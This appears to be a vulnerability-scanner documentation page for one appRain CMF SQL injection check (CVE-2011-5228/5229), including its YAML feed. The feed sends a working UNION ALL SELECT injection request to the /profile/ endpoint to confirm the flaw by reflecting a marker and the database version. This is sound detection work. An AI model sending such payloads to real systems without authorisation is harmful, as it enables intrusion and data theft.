appRain — 1 vulnerability check

noctis ships 1 vulnerability check for appRain, covering 2 CVEs; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

appRain CMF <= 0.1.5 SQL Injection (profile endpoint)

CVECVE-2011-5228, CVE-2011-5229
Severityhigh · CVSS 7.5
Categorysqli — SQL injection
Serviceshttp, https
Detectiontcp_connect, match · highest QoD 75
Feedtests/vulnerabilities/apprain/CVE-2011-5228.yaml

Detects CVE-2011-5228 / CVE-2011-5229 by fingerprinting appRain on the profile endpoint, then sending a UNION ALL SELECT payload and confirming the reflected ov-sql-inj-test marker in the HTTP response.

How noctis detects it

  1. Raw TCP (TLS on HTTPS), sent verbatim: GET /profile/index.php HTTP/1.0
  2. Checks fpresp.banner for Start with appRain<
  3. Raw TCP (TLS on HTTPS), sent verbatim: GET /profile/-1%20union%20all%20select%201,2,3,CONCAT(0x6f762d73716c2d696e6a2d74657374,0x…
  4. Checks resp.banner for ov-sql-inj-test:[0-9]+.*:ov-sql-inj-test → finding QoD 75: appRain CMF SQLi confirmed — the profile UNION ALL SELECT payload reflected the bounded ov-sql-inj-test marker at …:…

References:

Feed source — tests/vulnerabilities/apprain/CVE-2011-5228.yaml
# appRain CMF <= 0.1.5 — SQL Injection (CVE-2011-5228 / CVE-2011-5229)
#
# appRain CMF is prone to SQL injection (SQLi) and cross-site scripting (XSS)
# vulnerabilities. The profile endpoint fails to sanitise user input before
# using it in an SQL query. An unauthenticated attacker injects a UNION ALL
# SELECT whose CONCAT() column reflects a bounded marker, confirming injection.
#
# Ported from OpenVAS/Greenbone NVT 2012/gb_apprain_sql_and_xss_vuln.nasl
# (GPL-2.0-only). The NASL first fingerprints appRain on /profile/index.php
# (HTTP 200 + "Start with appRain<"), then sends the UNION ALL SELECT payload
# whose CONCAT(0x6f762d... ,0x3a,@@version,0x3a,0x6f762d...) column reflects
# ov-sql-inj-test:<version>:ov-sql-inj-test (extra_check ">Profile").
#
# The request is sent verbatim over tcp_connect (HTTP/1.0) and the reflected
# ov-sql-inj-test marker is matched on resp.banner.
uid: 07c3eb3d-5e5e-4ff9-bdf0-ac52b255a3bb
name: "appRain CMF <= 0.1.5 SQL Injection (profile endpoint)"
description: |
  Detects CVE-2011-5228 / CVE-2011-5229 by fingerprinting appRain on the profile
  endpoint, then sending a UNION ALL SELECT payload and confirming the reflected
  ov-sql-inj-test marker in the HTTP response.
cves: [CVE-2011-5228, CVE-2011-5229]
cvss: 7.5
severity: high
confidence_base: 0.30
category: sqli
tags: [apprain, sqli, openvas, web-application-abuses]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2011-5228"
  - "https://nvd.nist.gov/vuln/detail/CVE-2011-5229"
  - "OpenVAS/Greenbone NASL 2012/gb_apprain_sql_and_xss_vuln.nasl (GPL-2.0-only)"

steps:
  # NASL fingerprint: /profile/index.php must return 200 and "Start with appRain<".
  - id: fingerprint
    action: tcp_connect
    port: "{{port}}"
    send: "GET /profile/index.php HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
    timeout_secs: 10
    store_as: fpresp

  - id: fingerprint-match
    action: match
    source: fpresp.banner
    pattern: "Start with appRain<"
    store_as: fp

  # Verbatim NASL injection: the UNION ALL SELECT whose CONCAT() column reflects
  # the bounded ov-sql-inj-test marker around @@version.
  - id: sqli-probe
    action: tcp_connect
    port: "{{port}}"
    send: "GET /profile/-1%20union%20all%20select%201,2,3,CONCAT(0x6f762d73716c2d696e6a2d74657374,0x3a,@@version,0x3a,0x6f762d73716c2d696e6a2d74657374),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19-- HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
    timeout_secs: 10
    store_as: resp

  # NASL pattern ov-sql-inj-test:<version>:ov-sql-inj-test — produced only by the
  # CONCAT() column, gated on the appRain fingerprint.
  - id: confirm-sqli
    action: match
    source: resp.banner
    pattern: "ov-sql-inj-test:[0-9]+.*:ov-sql-inj-test"
    on_match:
      condition: "fp.matched"
      finding:
        confidence_delta: 0.55
        qod: 75
        evidence: "appRain CMF SQLi confirmed — the profile UNION ALL SELECT payload reflected the bounded ov-sql-inj-test marker at {{target_host}}:{{port}}"

View these feeds on GitHub